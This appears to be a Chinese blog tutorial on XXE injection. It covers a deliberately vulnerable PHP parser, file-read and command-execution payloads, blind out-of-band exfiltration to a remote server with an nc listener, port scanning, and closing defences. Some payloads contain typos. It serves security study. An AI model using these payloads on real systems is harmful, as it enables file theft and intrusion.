XXE 总结
XML
分为几个主要部分,HTML 可以看作是 XML 的一种
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?xml version="1.0"?>
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型--> ]]]>
<note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
|
DTD
XML 的格式规范由 DTD 定义,类似
1 2 3 4 5 6 7
| <?xml version="1.0"> <!DOCTYPE message [ <!ELEMENT message (receiver ,sender ,header ,msg)> <!ELEMENT receiver (#PCDATA)> <!ELEMENT sender (#PCDATA)> <!ELEMENT header (#PCDATA)> <!ELEMENT msg (#PCDATA)>
|
这个 DTD 定义了根元素是 message,message 下面有4个子元素,还定义了子元素类型。
DTD 声明
DTD 可以在内部声明,也可以从外部引用
1 2 3
| <!DOCTYPE rootelement [declaration]> 或 <!DOCTYPE rootelement STSTEM "file">
|
关键字
- DOCTYPE:DTD 的声明
- ENTITY:实体的声明
- SYSTEM、PUBLIC:外部资源申请
实体
类似于变量,在 DTD 中定义,可以在文档中其他位置引用,可根据在文档内部定义或从外部引用定义分为内部实体和外部实体
1 2 3 4 5 6 7 8 9
| 外部实体: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
|
也可以引用公用 DTD 定义外部实体
1
| <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
|
也可分为通用实体和参数实体,通用实体在 DTD 中定义,在 XML 文档中使用&
引用,参数实体使用% name
在 DTD 中定义,只能在 DTO 中使用%
引用
1 2 3
| <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;
|
URI 中可使用的协议类型
libxml2 |
PHP |
Java |
.NET |
file |
file |
http |
file |
http |
http |
https |
http |
ftp |
ftp |
ftp |
https |
|
php |
file |
ftp |
|
compress.zlib |
jar |
|
|
compress.bzip2 |
netdoc |
|
|
data |
mailto |
|
|
glob |
gopher |
|
|
phar |
|
|
PHP 在开启相应扩展后还能支持更多协议类型(最好的语言
Extension |
Scheme |
openssl |
https、ftps |
zip |
zip |
ssh2 |
ssh2.shell、ssh2.exec、ssh2.tunnel、ssh2.sftp、ssh2.scp |
rar |
rar |
ogg |
oggvorbis |
expect |
expect |
XXE
1 2 3 4 5 6 7 8
| <?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; ?>
|
读取文件
payload
1 2 3 4
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> <creds>&goodies;</creds>
|
如果内容包含带有 XML 语义的字符,会导致解析失败,可以进行转义,比如使用 base64
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe[ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]> <root> <name>&xxe;</name> </root>
|
或是使用<![CDATA[xxx]]>
,其中xxx内容被转义,不会解析,但是只能在 DTO 中拼接,并在 XML 中调用
1 2 3 4 5 6 7 8 9
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///d:/test.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> %dtd; ]>
<roottag>&all;</roottag>
|
evil.dtd
1 2
| <?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;">
|
命令执行
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe[ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "expect://whoami">]> <root> <name>&xxe;</name> </root>
|
需要 expect 扩展
Blind XXE
实际是外带
服务端 index.php
1 2 3 4 5 6
| <?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
|
test.dtd
1 2
| <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
|
payload
1 2 3 4
| <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]>
|
过程:
首先调用 %remote
,服务器引入http://ip/test.dtd
,然后调用 %int
,调用 test.dtd 中的%file
,获取敏感文件并放在参数 p 的位置,最后调用%send
,将结果发送到远程。
可以发现利用 XXE 可以实现 SSRF。可以参考上面 URI 中可使用的协议类型。
也可使用jar:
进行文件上传
1
| jar:http://host/app.jar!/file/in/zip
|
! 表示解压其中的文件,请求到文件后,会把它保存到临时文件,提取出指定文件,最后删除临时文件。
漏洞探测
在请求头 Content-Type 添加text/xml
或application/xml
,并添加 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| #任意文件读取(有回显) <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY % xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo>
#无回显的情况,使用外带数据通道提取数据,先用 file:// 或 php://filter 获取目标文件的内容,然后将内容以 http 请求发送到接收数据的服务器(攻击服务器): <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd"> %remote;%int;%send; ]>
#evil.dtd的内容:(内部的 % 号要进行实体编码成 %) <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
#最后用nc进行本地监听 nc -lvv 9999
#命令执行 ( PHP 要开启 PECL 上的 Expect 扩展) <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY content SYSTEM "expect://whoami"> ]>
#测试后端服务器的开放端口 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY portscan SYSTEM "http://192.168.1.5:3389"> ]> #通过返回的 “Connection refused” 可以知道该 81 端口是 closed 的,而 80 端口是open的
|
防御
禁用外部实体
PHP:
1
| Copylibxml_disable_entity_loader(true);
|
JAVA:
1 2
| CopyDocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
|
Python:
1 2
| Copyfrom lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
|
过滤输入
1 2 3 4
| <!DOCTYPE <!ENTITY SYSTEM PUBLIC
|